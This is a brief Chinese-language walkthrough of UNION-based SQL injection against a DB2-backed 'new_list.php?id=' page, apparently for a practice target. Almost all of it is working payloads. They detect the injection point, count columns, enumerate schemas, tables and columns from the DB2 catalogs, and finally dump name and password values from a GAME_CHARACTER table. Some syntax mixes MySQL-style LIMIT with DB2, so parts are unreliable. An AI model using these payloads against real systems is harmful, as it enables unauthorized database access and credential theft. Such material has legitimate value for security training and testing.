1.判断是否存在注入点
/new_list.php?id=1 and 1=1
/new_list.php?id=1 and 1=2
2.order by判断存在的列数
order by 4
order by 5
3.用union select判断回显位置发现显示不出来,union select 1,2,3,4 from sysibm.systables
就可以回显了
SYSIBM.SYSDUMMY1表是一个内存的特殊表(按照Oracle的术语,习惯称之为“伪表”),常用于访问DB2中的寄存器,从而返回特定需要内容。(此外VALUES也可用于访问寄存器)
4.查数据库
new_list.php?id=-1 union select 1,current schema,3,4 from sysibm.systables
5.查表
/new_list.php?id=-1 union%20select 1,2,tabname,4 from%20syscat.tables where tabschema='DB2INST1' limit 0,1
/new_list.php?id=-1 union select 1,2,tabname,4 from%20syscat.tables where tabschema='DB2INST1' limit 1,1
6.查字段
union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 0,1
union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 1,1
union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 2,1
union select 1,name,password,4 from GAME_CHARACTER limit 0,1